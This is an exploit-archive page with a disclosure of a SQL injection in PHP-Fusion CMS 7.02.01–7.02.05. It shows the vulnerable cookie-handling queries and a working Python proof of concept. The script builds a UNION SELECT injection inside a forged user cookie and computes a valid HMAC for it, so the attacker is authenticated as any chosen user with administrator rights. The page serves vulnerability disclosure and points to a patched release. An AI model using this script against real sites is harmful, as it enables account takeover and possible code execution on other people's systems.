what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP-Fusion CMS 7.02.05 SQL Injection

PHP-Fusion CMS 7.02.05 SQL Injection
Posted Feb 18, 2013
Authored by Krzysztof Katowicz-Kowalewski

PHP-Fusion CMS versions 7.02.01 through 7.02.05 suffer from a remote SQL injection vulnerability.

tags | exploit, remote, php, sql injection
SHA-256 | 8af2eceb6310de34f105ac3f1d63fa473bc238e02647218b091b5fa4cd42959e

PHP-Fusion CMS 7.02.05 SQL Injection

Change Mirror Download
SQL Injection vulnerability exists in releases since 7.02.01 till 7.02.05 of PHP-Fusion CMS. The vulnerability allows the attacker to authenticate as an arbitrary user and act with its rights which might lead to the code execution. Because of exploitation simplicity, the potential risk is very high. Magic Quotes feature protects against this coding flaw. Version 7.02.06 fixes presented security problem.

Affected file: includes/classes/Authenticate.class.php
023: define("COOKIE_USER", COOKIE_PREFIX."user");
024: define("COOKIE_ADMIN", COOKIE_PREFIX."admin");
147: $cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]);
150: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr;
153: $result = dbquery(
154: "SELECT * FROM ".DB_USERS."
155: WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0'
156: LIMIT 1"
157: );
195: $cookieDataArr = explode(".", $_COOKIE[COOKIE_ADMIN]);
197: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr;
200: $result = dbquery(
201: "SELECT user_admin_algo, user_admin_salt FROM ".DB_USERS."
202: WHERE user_id='".$userID."' AND user_level>101 AND user_status='0' AND user_actiontime='0'
203: LIMIT 1"
204: );

# Proof of Concept
# PHP-Fusion 7.02.05
# Authentication spoofing
# Author: vnd at vndh.net
from http import client
from time import time
import hashlib
import hmac
import re

def generateCookie(address, path, userid, password = 'admin'):
connection = client.HTTPConnection(address)
connection.request("GET", "%s/profile.php?lookup=%d" % (path, userid))
response = connection.getresponse()
if response.status != 200: raise BaseException("bad status")
cookies = response.getheader("Set-Cookie")
pattern = re.compile("([A-Z0-9\_]+)lastvisit", re.IGNORECASE)
cookiesearch = pattern.search(cookies)
if cookiesearch == None: raise BaseException("bad cookie")
cookiename = cookiesearch.groups()
cookiename = "%suser" % cookiename[0]
source = response.read()
connection.close()
source = source.decode("utf-8")
pattern = re.compile("<!--profile_user_name-->(.*)<")
username = pattern.search(source).groups()
username = username[0]

injection = "-1' union select %d,'%s','sha256','','%s'%s,101%s -- " % (userid, username, password, ",0" * 15,",0" * 12)
expiration = str(int(time() + 86400))
userhash = ""
userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest()
userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest()

return (cookiename, ".".join([injection, expiration, userhash]))

Reference: https://vndh.net/note:php-fusion-70205-sql-injection
Patched version: http://www.php-fusion.co.uk/downloads.php?cat_id=23&download_id=264

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close